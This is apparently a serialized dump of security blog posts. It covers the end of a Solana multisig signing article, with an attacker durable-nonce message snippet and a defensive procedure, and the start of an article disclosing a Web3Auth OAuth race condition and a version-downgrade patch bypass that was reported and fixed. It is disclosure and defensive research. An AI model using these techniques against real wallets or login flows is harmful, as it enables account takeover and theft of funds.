Connection",{"type":23,"tag":314,"props":68020,"children":68021},{"style":338},[68022],{"type":28,"value":341},{"type":23,"tag":314,"props":68024,"children":68025},{"style":332},[68026],{"type":28,"value":68027},"clusterApiUrl",{"type":23,"tag":314,"props":68029,"children":68030},{"style":338},[68031],{"type":28,"value":341},{"type":23,"tag":314,"props":68033,"children":68034},{"style":1245},[68035],{"type":28,"value":68036},"'testnet'",{"type":23,"tag":314,"props":68038,"children":68039},{"style":338},[68040],{"type":28,"value":6478},{"type":23,"tag":314,"props":68042,"children":68043},{"class":316,"line":370},[68044,68048,68053,68057,68061,68065,68069,68073],{"type":23,"tag":314,"props":68045,"children":68046},{"style":321},[68047],{"type":28,"value":346},{"type":23,"tag":314,"props":68049,"children":68050},{"style":360},[68051],{"type":28,"value":68052}," nonceAccounts",{"type":23,"tag":314,"props":68054,"children":68055},{"style":354},[68056],{"type":28,"value":1237},{"type":23,"tag":314,"props":68058,"children":68059},{"style":2284},[68060],{"type":28,"value":35460},{"type":23,"tag":314,"props":68062,"children":68063},{"style":360},[68064],{"type":28,"value":68005},{"type":23,"tag":314,"props":68066,"children":68067},{"style":338},[68068],{"type":28,"value":282},{"type":23,"tag":314,"props":68070,"children":68071},{"style":332},[68072],{"type":28,"value":67976},{"type":23,"tag":314,"props":68074,"children":68075},{"style":338},[68076],{"type":28,"value":2719},{"type":23,"tag":314,"props":68078,"children":68079},{"class":316,"line":380},[68080],{"type":23,"tag":314,"props":68081,"children":68082},{"style":374},[68083],{"type":28,"value":68084}," // The system program owns all nonce accounts.\n",{"type":23,"tag":314,"props":68086,"children":68087},{"class":316,"line":1091},[68088,68093],{"type":23,"tag":314,"props":68089,"children":68090},{"style":360},[68091],{"type":28,"value":68092}," SYSTEM_PROGRAM_ADDRESS",{"type":23,"tag":314,"props":68094,"children":68095},{"style":338},[68096],{"type":28,"value":1870},{"type":23,"tag":314,"props":68098,"children":68099},{"class":316,"line":1141},[68100],{"type":23,"tag":314,"props":68101,"children":68102},{"style":338},[68103],{"type":28,"value":68104}," {\n",{"type":23,"tag":314,"props":68106,"children":68107},{"class":316,"line":1173},[68108,68113],{"type":23,"tag":314,"props":68109,"children":68110},{"style":360},[68111],{"type":28,"value":68112}," filters:",{"type":23,"tag":314,"props":68114,"children":68115},{"style":338},[68116],{"type":28,"value":24867},{"type":23,"tag":314,"props":68118,"children":68119},{"class":316,"line":1208},[68120],{"type":23,"tag":314,"props":68121,"children":68122},{"style":338},[68123],{"type":28,"value":68124}," {\n",{"type":23,"tag":314,"props":68126,"children":68127},{"class":316,"line":1216},[68128],{"type":23,"tag":314,"props":68129,"children":68130},{"style":374},[68131],{"type":28,"value":68132}," // Nonce accounts are exactly 80 bytes long\n",{"type":23,"tag":314,"props":68134,"children":68135},{"class":316,"line":1301},[68136,68141,68146],{"type":23,"tag":314,"props":68137,"children":68138},{"style":360},[68139],{"type":28,"value":68140}," dataSize:",{"type":23,"tag":314,"props":68142,"children":68143},{"style":1054},[68144],{"type":28,"value":68145}," 80",{"type":23,"tag":314,"props":68147,"children":68148},{"style":338},[68149],{"type":28,"value":1870},{"type":23,"tag":314,"props":68151,"children":68152},{"class":316,"line":1343},[68153],{"type":23,"tag":314,"props":68154,"children":68155},{"style":338},[68156],{"type":28,"value":36448},{"type":23,"tag":314,"props":68158,"children":68159},{"class":316,"line":1351},[68160],{"type":23,"tag":314,"props":68161,"children":68162},{"style":338},[68163],{"type":28,"value":68124},{"type":23,"tag":314,"props":68165,"children":68166},{"class":316,"line":1387},[68167],{"type":23,"tag":314,"props":68168,"children":68169},{"style":374},[68170],{"type":28,"value":68171}," // The authority's 32-byte public key is written\n",{"type":23,"tag":314,"props":68173,"children":68174},{"class":316,"line":1422},[68175],{"type":23,"tag":314,"props":68176,"children":68177},{"style":374},[68178],{"type":28,"value":68179}," // into bytes 8-40 of the nonce's account data.\n",{"type":23,"tag":314,"props":68181,"children":68182},{"class":316,"line":1430},[68183,68188],{"type":23,"tag":314,"props":68184,"children":68185},{"style":360},[68186],{"type":28,"value":68187}," memcmp:",{"type":23,"tag":314,"props":68189,"children":68190},{"style":338},[68191],{"type":28,"value":1449},{"type":23,"tag":314,"props":68193,"children":68194},{"class":316,"line":1452},[68195,68200,68205,68209,68214],{"type":23,"tag":314,"props":68196,"children":68197},{"style":360},[68198],{"type":28,"value":68199}," bytes:",{"type":23,"tag":314,"props":68201,"children":68202},{"style":360},[68203],{"type":28,"value":68204}," AUTHORITY_PUBLIC_KEY",{"type":23,"tag":314,"props":68206,"children":68207},{"style":338},[68208],{"type":28,"value":282},{"type":23,"tag":314,"props":68210,"children":68211},{"style":332},[68212],{"type":28,"value":68213},"toBase58",{"type":23,"tag":314,"props":68215,"children":68216},{"style":338},[68217],{"type":28,"value":2747},{"type":23,"tag":314,"props":68219,"children":68220},{"class":316,"line":1497},[68221,68226,68231],{"type":23,"tag":314,"props":68222,"children":68223},{"style":360},[68224],{"type":28,"value":68225}," offset:",{"type":23,"tag":314,"props":68227,"children":68228},{"style":1054},[68229],{"type":28,"value":68230}," 8",{"type":23,"tag":314,"props":68232,"children":68233},{"style":338},[68234],{"type":28,"value":1870},{"type":23,"tag":314,"props":68236,"children":68237},{"class":316,"line":1539},[68238],{"type":23,"tag":314,"props":68239,"children":68240},{"style":338},[68241],{"type":28,"value":24619},{"type":23,"tag":314,"props":68243,"children":68244},{"class":316,"line":1548},[68245],{"type":23,"tag":314,"props":68246,"children":68247},{"style":338},[68248],{"type":28,"value":36448},{"type":23,"tag":314,"props":68250,"children":68251},{"class":316,"line":1584},[68252],{"type":23,"tag":314,"props":68253,"children":68254},{"style":338},[68255],{"type":28,"value":68256}," ],\n",{"type":23,"tag":314,"props":68258,"children":68259},{"class":316,"line":1617},[68260],{"type":23,"tag":314,"props":68261,"children":68262},{"style":338},[68263],{"type":28,"value":5126},{"type":23,"tag":314,"props":68265,"children":68266},{"class":316,"line":1625},[68267],{"type":23,"tag":314,"props":68268,"children":68269},{"style":338},[68270],{"type":28,"value":1025},{"type":23,"tag":24,"props":68272,"children":68273},{},[68274,68276,68284],{"type":28,"value":68275},"Unfortunately this is not sufficient",{"type":23,"tag":14716,"props":68277,"children":68278},{},[68279],{"type":23,"tag":31,"props":68280,"children":68282},{"href":28872,"ariaDescribedBy":68281,"dataFootnoteRef":7,"id":28874},[14723],[68283],{"type":28,"value":3267},{"type":28,"value":68285},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":23,"tag":304,"props":68287,"children":68289},{"className":2234,"code":68288,"language":2233,"meta":7,"style":7}," let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n let message =\n Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n .serialize();\n",[68290],{"type":23,"tag":94,"props":68291,"children":68292},{"__ignoreMap":7},[68293,68359,68375,68458],{"type":23,"tag":314,"props":68294,"children":68295},{"class":316,"line":317},[68296,68300,68304,68308,68313,68317,68321,68325,68329,68333,68337,68341,68346,68350,68355],{"type":23,"tag":314,"props":68297,"children":68298},{"style":321},[68299],{"type":28,"value":2254},{"type":23,"tag":314,"props":68301,"children":68302},{"style":360},[68303],{"type":28,"value":42620},{"type":23,"tag":314,"props":68305,"children":68306},{"style":354},[68307],{"type":28,"value":1237},{"type":23,"tag":314,"props":68309,"children":68310},{"style":338},[68311],{"type":28,"value":68312}," system_instruction",{"type":23,"tag":314,"props":68314,"children":68315},{"style":354},[68316],{"type":28,"value":2737},{"type":23,"tag":314,"props":68318,"children":68319},{"style":332},[68320],{"type":28,"value":31370},{"type":23,"tag":314,"props":68322,"children":68323},{"style":338},[68324],{"type":28,"value":341},{"type":23,"tag":314,"props":68326,"children":68327},{"style":354},[68328],{"type":28,"value":1833},{"type":23,"tag":314,"props":68330,"children":68331},{"style":360},[68332],{"type":28,"value":18711},{"type":23,"tag":314,"props":68334,"children":68335},{"style":338},[68336],{"type":28,"value":778},{"type":23,"tag":314,"props":68338,"children":68339},{"style":354},[68340],{"type":28,"value":1833},{"type":23,"tag":314,"props":68342,"children":68343},{"style":360},[68344],{"type":28,"value":68345},"ledger_base_pubkey",{"type":23,"tag":314,"props":68347,"children":68348},{"style":338},[68349],{"type":28,"value":778},{"type":23,"tag":314,"props":68351,"children":68352},{"style":1054},[68353],{"type":28,"value":68354},"42",{"type":23,"tag":314,"props":68356,"children":68357},{"style":338},[68358],{"type":28,"value":1025},{"type":23,"tag":314,"props":68360,"children":68361},{"class":316,"line":370},[68362,68366,68371],{"type":23,"tag":314,"props":68363,"children":68364},{"style":321},[68365],{"type":28,"value":2254},{"type":23,"tag":314,"props":68367,"children":68368},{"style":360},[68369],{"type":28,"value":68370}," message",{"type":23,"tag":314,"props":68372,"children":68373},{"style":354},[68374],{"type":28,"value":35104},{"type":23,"tag":314,"props":68376,"children":68377},{"class":316,"line":380},[68378,68383,68387,68392,68396,68400,68404,68408,68412,68416,68420,68424,68429,68433,68437,68442,68446,68450,68454],{"type":23,"tag":314,"props":68379,"children":68380},{"style":2674},[68381],{"type":28,"value":68382}," Message",{"type":23,"tag":314,"props":68384,"children":68385},{"style":354},[68386],{"type":28,"value":2737},{"type":23,"tag":314,"props":68388,"children":68389},{"style":332},[68390],{"type":28,"value":68391},"new_with_nonce",{"type":23,"tag":314,"props":68393,"children":68394},{"style":338},[68395],{"type":28,"value":341},{"type":23,"tag":314,"props":68397,"children":68398},{"style":332},[68399],{"type":28,"value":3130},{"type":23,"tag":314,"props":68401,"children":68402},{"style":338},[68403],{"type":28,"value":1312},{"type":23,"tag":314,"props":68405,"children":68406},{"style":360},[68407],{"type":28,"value":1838},{"type":23,"tag":314,"props":68409,"children":68410},{"style":338},[68411],{"type":28,"value":22298},{"type":23,"tag":314,"props":68413,"children":68414},{"style":2674},[68415],{"type":28,"value":41269},{"type":23,"tag":314,"props":68417,"children":68418},{"style":338},[68419],{"type":28,"value":341},{"type":23,"tag":314,"props":68421,"children":68422},{"style":354},[68423],{"type":28,"value":1833},{"type":23,"tag":314,"props":68425,"children":68426},{"style":360},[68427],{"type":28,"value":68428},"evil_nonce_authority",{"type":23,"tag":314,"props":68430,"children":68431},{"style":338},[68432],{"type":28,"value":14419},{"type":23,"tag":314,"props":68434,"children":68435},{"style":354},[68436],{"type":28,"value":1833},{"type":23,"tag":314,"props":68438,"children":68439},{"style":360},[68440],{"type":28,"value":68441},"nonce_account",{"type":23,"tag":314,"props":68443,"children":68444},{"style":338},[68445],{"type":28,"value":778},{"type":23,"tag":314,"props":68447,"children":68448},{"style":354},[68449],{"type":28,"value":1833},{"type":23,"tag":314,"props":68451,"children":68452},{"style":360},[68453],{"type":28,"value":68428},{"type":23,"tag":314,"props":68455,"children":68456},{"style":338},[68457],{"type":28,"value":2414},{"type":23,"tag":314,"props":68459,"children":68460},{"class":316,"line":1091},[68461,68465,68470],{"type":23,"tag":314,"props":68462,"children":68463},{"style":354},[68464],{"type":28,"value":2422},{"type":23,"tag":314,"props":68466,"children":68467},{"style":332},[68468],{"type":28,"value":68469},"serialize",{"type":23,"tag":314,"props":68471,"children":68472},{"style":338},[68473],{"type":28,"value":2926},{"type":23,"tag":24,"props":68475,"children":68476},{},[68477,68479,68486],{"type":28,"value":68478},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":23,"tag":31,"props":68480,"children":68483},{"href":68481,"rel":68482},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[35],[68484],{"type":28,"value":68485},"logs the fee-payer here",{"type":28,"value":282},{"type":23,"tag":304,"props":68488,"children":68490},{"className":306,"code":68489,"language":308,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[68491],{"type":23,"tag":94,"props":68492,"children":68493},{"__ignoreMap":7},[68494,68553,68609],{"type":23,"tag":314,"props":68495,"children":68496},{"class":316,"line":317},[68497,68501,68506,68510,68514,68519,68523,68528,68532,68536,68540,68544,68549],{"type":23,"tag":314,"props":68498,"children":68499},{"style":321},[68500],{"type":28,"value":28934},{"type":23,"tag":314,"props":68502,"children":68503},{"style":332},[68504],{"type":28,"value":68505}," print_config_show_authority",{"type":23,"tag":314,"props":68507,"children":68508},{"style":338},[68509],{"type":28,"value":341},{"type":23,"tag":314,"props":68511,"children":68512},{"style":321},[68513],{"type":28,"value":346},{"type":23,"tag":314,"props":68515,"children":68516},{"style":338},[68517],{"type":28,"value":68518}," PrintConfig",{"type":23,"tag":314,"props":68520,"children":68521},{"style":354},[68522],{"type":28,"value":256},{"type":23,"tag":314,"props":68524,"children":68525},{"style":360},[68526],{"type":28,"value":68527}," print_config",{"type":23,"tag":314,"props":68529,"children":68530},{"style":338},[68531],{"type":28,"value":778},{"type":23,"tag":314,"props":68533,"children":68534},{"style":321},[68535],{"type":28,"value":346},{"type":23,"tag":314,"props":68537,"children":68538},{"style":338},[68539],{"type":28,"value":20094},{"type":23,"tag":314,"props":68541,"children":68542},{"style":354},[68543],{"type":28,"value":256},{"type":23,"tag":314,"props":68545,"children":68546},{"style":360},[68547],{"type":28,"value":68548}," authority",{"type":23,"tag":314,"props":68550,"children":68551},{"style":338},[68552],{"type":28,"value":367},{"type":23,"tag":314,"props":68554,"children":68555},{"class":316,"line":370},[68556,68560,68564,68568,68573,68577,68581,68586,68590,68595,68599,68604],{"type":23,"tag":314,"props":68557,"children":68558},{"style":2284},[68559],{"type":28,"value":16228},{"type":23,"tag":314,"props":68561,"children":68562},{"style":360},[68563],{"type":28,"value":68527},{"type":23,"tag":314,"props":68565,"children":68566},{"style":338},[68567],{"type":28,"value":1015},{"type":23,"tag":314,"props":68569,"children":68570},{"style":360},[68571],{"type":28,"value":68572},"expert_mode",{"type":23,"tag":314,"props":68574,"children":68575},{"style":354},[68576],{"type":28,"value":22942},{"type":23,"tag":314,"props":68578,"children":68579},{"style":354},[68580],{"type":28,"value":12112},{"type":23,"tag":314,"props":68582,"children":68583},{"style":332},[68584],{"type":28,"value":68585},"pubkeys_equal",{"type":23,"tag":314,"props":68587,"children":68588},{"style":338},[68589],{"type":28,"value":341},{"type":23,"tag":314,"props":68591,"children":68592},{"style":360},[68593],{"type":28,"value":68594},"print_config",{"type":23,"tag":314,"props":68596,"children":68597},{"style":338},[68598],{"type":28,"value":1015},{"type":23,"tag":314,"props":68600,"children":68601},{"style":360},[68602],{"type":28,"value":68603},"signer_pubkey",{"type":23,"tag":314,"props":68605,"children":68606},{"style":338},[68607],{"type":28,"value":68608},", authority);\n",{"type":23,"tag":314,"props":68610,"children":68611},{"class":316,"line":380},[68612],{"type":23,"tag":314,"props":68613,"children":68614},{"style":338},[68615],{"type":28,"value":386},{"type":23,"tag":24,"props":68617,"children":68618},{},[68619],{"type":28,"value":68620},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":23,"tag":24,"props":68622,"children":68623},{},[68624],{"type":28,"value":68625},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":23,"tag":24,"props":68627,"children":68628},{},[68629],{"type":28,"value":68630},"We can then use the following procedure.",{"type":23,"tag":84,"props":68632,"children":68633},{},[68634,68639,68644,68649,68654],{"type":23,"tag":88,"props":68635,"children":68636},{},[68637],{"type":28,"value":68638},"Ensure all signers have no durable nonce accounts.",{"type":23,"tag":88,"props":68640,"children":68641},{},[68642],{"type":28,"value":68643},"The first signer signs and submits the transaction.",{"type":23,"tag":88,"props":68645,"children":68646},{},[68647],{"type":28,"value":68648},"Wait two minutes for all recent blockhashes to expire.",{"type":23,"tag":88,"props":68650,"children":68651},{},[68652],{"type":28,"value":68653},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":23,"tag":88,"props":68655,"children":68656},{},[68657],{"type":28,"value":68658},"Repeat steps 2 to 4 for each signer",{"type":23,"tag":61,"props":68660,"children":68662},{"id":68661},"beyond",[68663],{"type":28,"value":68664},"Beyond",{"type":23,"tag":24,"props":68666,"children":68667},{},[68668],{"type":28,"value":68669},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":23,"tag":24,"props":68671,"children":68672},{},[68673,68675,68682],{"type":28,"value":68674},"For example, pcaversaccio wrote a tool to ",{"type":23,"tag":31,"props":68676,"children":68679},{"href":68677,"rel":68678},"https://github.com/pcaversaccio/safe-tx-hashes-util",[35],[68680],{"type":28,"value":68681},"validate Safe transaction hashes",{"type":28,"value":68683},". As the space matures, we hope more open source tooling will come to light.",{"type":23,"tag":17660,"props":68685,"children":68687},{"className":68686,"dataFootnotes":7},[17663],[68688,68693],{"type":23,"tag":61,"props":68689,"children":68691},{"className":68690,"id":14723},[17668],[68692],{"type":28,"value":17671},{"type":23,"tag":84,"props":68694,"children":68695},{},[68696],{"type":23,"tag":88,"props":68697,"children":68698},{"id":29615},[68699,68701,68709,68711],{"type":28,"value":68700},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":23,"tag":31,"props":68702,"children":68706},{"href":68703,"rel":68704,":style":68705},"https://twitter.com/PierreArowana",[35],"color: #B1D0EE; text-decoration: underline;",[68707],{"type":28,"value":68708},"@PierreArowana",{"type":28,"value":68710}," for pointing this out to me. ",{"type":23,"tag":31,"props":68712,"children":68714},{"href":29643,"ariaLabel":17774,"className":68713,"dataFootnoteBackref":7},[17776],[68715],{"type":28,"value":17779},{"type":23,"tag":2096,"props":68717,"children":68718},{},[68719],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":68721},[68722,68726,68727,68728],{"id":66919,"depth":370,"text":66922,"children":68723},[68724,68725],{"id":66930,"depth":380,"text":66933},{"id":67209,"depth":380,"text":67212},{"id":67929,"depth":370,"text":67932},{"id":68661,"depth":370,"text":68664},{"id":14723,"depth":370,"text":17671},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":68733,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":68734,"description":68735,"date":68736,"author":68737,"image":68738,"isFeatured":18,"onBlogPage":18,"tags":68740,"body":68741,"_type":2117,"_id":70439,"_source":2119,"_file":70440,"_stem":70441,"_extension":2122},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[30451,30450],{"src":68739},"/posts/web2-in-web3/title.jpg",[31388],{"type":20,"children":68742,"toc":70421},[68743,68748,68753,68758,68784,68790,68795,68801,68822,68828,68833,68840,68853,68883,68889,68933,68940,68946,68979,69000,69008,69027,69034,69039,69045,69050,69055,69080,69085,69091,69097,69118,69124,69151,69179,69186,69191,69196,69541,69545,69567,69573,69594,69608,69621,69626,69642,69647,70376,70381,70386,70391,70403,70407,70412,70417],{"type":23,"tag":24,"props":68744,"children":68745},{},[68746],{"type":28,"value":68747},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":23,"tag":24,"props":68749,"children":68750},{},[68751],{"type":28,"value":68752},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":23,"tag":24,"props":68754,"children":68755},{},[68756],{"type":28,"value":68757},"In this article, we will discuss three cases we discovered:",{"type":23,"tag":84,"props":68759,"children":68760},{},[68761,68766,68779],{"type":23,"tag":88,"props":68762,"children":68763},{},[68764],{"type":28,"value":68765},"OAuth Logic Vulnerability on an Authentication Provider",{"type":23,"tag":88,"props":68767,"children":68768},{},[68769,68771,68777],{"type":28,"value":68770},"Supabase ",{"type":23,"tag":94,"props":68772,"children":68774},{"className":68773},[],[68775],{"type":28,"value":68776},"user_metadata",{"type":28,"value":68778}," misconfiguration",{"type":23,"tag":88,"props":68780,"children":68781},{},[68782],{"type":28,"value":68783},"OAuth abuse in localhost development environment",{"type":23,"tag":61,"props":68785,"children":68787},{"id":68786},"abusing-oauth-authentication-logic",[68788],{"type":28,"value":68789},"Abusing OAuth Authentication Logic",{"type":23,"tag":24,"props":68791,"children":68792},{},[68793],{"type":28,"value":68794},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":23,"tag":837,"props":68796,"children":68798},{"id":68797},"web3auth-introduction",[68799],{"type":28,"value":68800},"Web3Auth Introduction",{"type":23,"tag":24,"props":68802,"children":68803},{},[68804,68811,68813,68820],{"type":23,"tag":31,"props":68805,"children":68808},{"href":68806,"rel":68807},"https://web3auth.io/",[35],[68809],{"type":28,"value":68810},"Web3Auth",{"type":28,"value":68812}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":23,"tag":31,"props":68814,"children":68817},{"href":68815,"rel":68816},"https://oauth.net/2/",[35],[68818],{"type":28,"value":68819},"OAuth2",{"type":28,"value":68821}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":23,"tag":837,"props":68823,"children":68825},{"id":68824},"web3auth-authentication-flow",[68826],{"type":28,"value":68827},"Web3Auth Authentication flow",{"type":23,"tag":24,"props":68829,"children":68830},{},[68831],{"type":28,"value":68832},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":23,"tag":24,"props":68834,"children":68835},{},[68836],{"type":23,"tag":197,"props":68837,"children":68839},{"alt":49829,"src":68838},"/posts/web2-in-web3/auth-flow.png",[],{"type":23,"tag":24,"props":68841,"children":68842},{},[68843,68845,68851],{"type":28,"value":68844},"After the final redirect back to the dApp, the application can use the secret token to authenticate with the service identified by the ",{"type":23,"tag":94,"props":68846,"children":68848},{"className":68847},[],[68849],{"type":28,"value":68850},"client_id",{"type":28,"value":68852},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":23,"tag":24,"props":68854,"children":68855},{},[68856,68858,68864,68866,68872,68874,68881],{"type":28,"value":68857},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":23,"tag":94,"props":68859,"children":68861},{"className":68860},[],[68862],{"type":28,"value":68863},"/start",{"type":28,"value":68865}," validates the ",{"type":23,"tag":94,"props":68867,"children":68869},{"className":68868},[],[68870],{"type":28,"value":68871},"redirect_url",{"type":28,"value":68873}," against the configured ",{"type":23,"tag":31,"props":68875,"children":68878},{"href":68876,"rel":68877},"https://web3auth.io/docs/dashboard-setup/whitelisting",[35],[68879],{"type":28,"value":68880},"whitelist",{"type":28,"value":68882}," to ensure it matches one of the allowed URLs.",{"type":23,"tag":837,"props":68884,"children":68886},{"id":68885},"in-transit-cryptography",[68887],{"type":28,"value":68888},"In-transit Cryptography",{"type":23,"tag":24,"props":68890,"children":68891},{},[68892,68894,68901,68903,68909,68911,68917,68919,68924,68926,68931],{"type":28,"value":68893},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":23,"tag":31,"props":68895,"children":68898},{"href":68896,"rel":68897},"https://en.wikipedia.org/wiki/Key_(cryptography)",[35],[68899],{"type":28,"value":68900},"cryptographic key",{"type":28,"value":68902}," is derived from the ",{"type":23,"tag":94,"props":68904,"children":68906},{"className":68905},[],[68907],{"type":28,"value":68908},"sessionId",{"type":28,"value":68910}," sent in the ",{"type":23,"tag":94,"props":68912,"children":68914},{"className":68913},[],[68915],{"type":28,"value":68916},"GET",{"type":28,"value":68918}," parameter to the ",{"type":23,"tag":94,"props":68920,"children":68922},{"className":68921},[],[68923],{"type":28,"value":68863},{"type":28,"value":68925},". Since the ",{"type":23,"tag":94,"props":68927,"children":68929},{"className":68928},[],[68930],{"type":28,"value":68908},{"type":28,"value":68932}," can be controlled, it allows us to send and receive data from the session server.",{"type":23,"tag":24,"props":68934,"children":68935},{},[68936],{"type":23,"tag":197,"props":68937,"children":68939},{"alt":49829,"src":68938},"/posts/web2-in-web3/image-2.png",[],{"type":23,"tag":837,"props":68941,"children":68943},{"id":68942},"race-condition",[68944],{"type":28,"value":68945},"Race Condition",{"type":23,"tag":24,"props":68947,"children":68948},{},[68949,68951,68956,68958,68964,68966,68971,68973,68978],{"type":28,"value":68950},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":23,"tag":94,"props":68952,"children":68954},{"className":68953},[],[68955],{"type":28,"value":68863},{"type":28,"value":68957}," and later used in the ",{"type":23,"tag":94,"props":68959,"children":68961},{"className":68960},[],[68962],{"type":28,"value":68963},"/end",{"type":28,"value":68965}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after validation (",{"type":23,"tag":94,"props":68967,"children":68969},{"className":68968},[],[68970],{"type":28,"value":68863},{"type":28,"value":68972},") but before use (",{"type":23,"tag":94,"props":68974,"children":68976},{"className":68975},[],[68977],{"type":28,"value":68963},{"type":28,"value":419},{"type":23,"tag":24,"props":68980,"children":68981},{},[68982,68984,68991,68993,68998],{"type":28,"value":68983},"To exploit this ",{"type":23,"tag":31,"props":68985,"children":68988},{"href":68986,"rel":68987},"https://portswigger.net/web-security/race-conditions",[35],[68989],{"type":28,"value":68990},"race condition",{"type":28,"value":68992},", an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":23,"tag":94,"props":68994,"children":68996},{"className":68995},[],[68997],{"type":28,"value":68908},{"type":28,"value":68999}," but with modified malicious parameters.",{"type":23,"tag":24,"props":69001,"children":69002},{},[69003],{"type":23,"tag":721,"props":69004,"children":69005},{},[69006],{"type":28,"value":69007},"What can be modified to achieve something impactful?",{"type":23,"tag":24,"props":69009,"children":69010},{},[69011,69013,69019,69021,69026],{"type":28,"value":69012},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":23,"tag":94,"props":69014,"children":69016},{"className":69015},[],[69017],{"type":28,"value":69018},"redirect_uri",{"type":28,"value":69020}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":23,"tag":94,"props":69022,"children":69024},{"className":69023},[],[69025],{"type":28,"value":68850},{"type":28,"value":282},{"type":23,"tag":24,"props":69028,"children":69029},{},[69030],{"type":23,"tag":197,"props":69031,"children":69033},{"alt":49829,"src":69032},"/posts/web2-in-web3/image-3.png",[],{"type":23,"tag":24,"props":69035,"children":69036},{},[69037],{"type":28,"value":69038},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":23,"tag":837,"props":69040,"children":69042},{"id":69041},"patch-bypass",[69043],{"type":28,"value":69044},"Patch & Bypass",{"type":23,"tag":24,"props":69046,"children":69047},{},[69048],{"type":28,"value":69049},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":23,"tag":24,"props":69051,"children":69052},{},[69053],{"type":28,"value":69054},"To bypass the fix we were able to change the version in the URL:",{"type":23,"tag":127,"props":69056,"children":69057},{},[69058,69069],{"type":23,"tag":88,"props":69059,"children":69060},{},[69061,69067],{"type":23,"tag":94,"props":69062,"children":69064},{"className":69063},[],[69065],{"type":28,"value":69066},"https://auth.web3auth.io/v8/start",{"type":28,"value":69068}," (latest version)",{"type":23,"tag":88,"props":69070,"children":69071},{},[69072,69078],{"type":23,"tag":94,"props":69073,"children":69075},{"className":69074},[],[69076],{"type":28,"value":69077},"https://auth.web3auth.io/v6/start",{"type":28,"value":69079}," (bypass)",{"type":23,"tag":24,"props":69081,"children":69082},{},[69083],{"type":28,"value":69084},"We reported this issue, and it was addressed just as quickly!",{"type":23,"tag":61,"props":69086,"children":69088},{"id":69087},"supabase-metadata-manipulation",[69089],{"type":28,"value":69090},"Supabase metadata manipulation",{"type":23,"tag":837,"props":69092,"children":69094},{"id":69093},"supabase-authentication-flow",[69095],{"type":28,"value":69096},"Supabase Authentication flow",{"type":23,"tag":24,"props":69098,"children":69099},{},[69100,69107,69109,69116],{"type":23,"tag":31,"props":69101,"children":69104},{"href":69102,"rel":69103},"https://supabase.com/docs/guides/auth",[35],[69105],{"type":28,"value":69106},"Supabase",{"type":28,"value":69108}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":23,"tag":31,"props":69110,"children":69113},{"href":69111,"rel":69112},"https://jwt.io/",[35],[69114],{"type":28,"value":69115},"JWT",{"type":28,"value":69117}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":23,"tag":837,"props":69119,"children":69121},{"id":69120},"jwt-verification",[69122],{"type":28,"value":69123},"JWT verification",{"type":23,"tag":24,"props":69125,"children":69126},{},[69127,69129,69134,69135,69141,69143,69149],{"type":28,"value":69128},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as 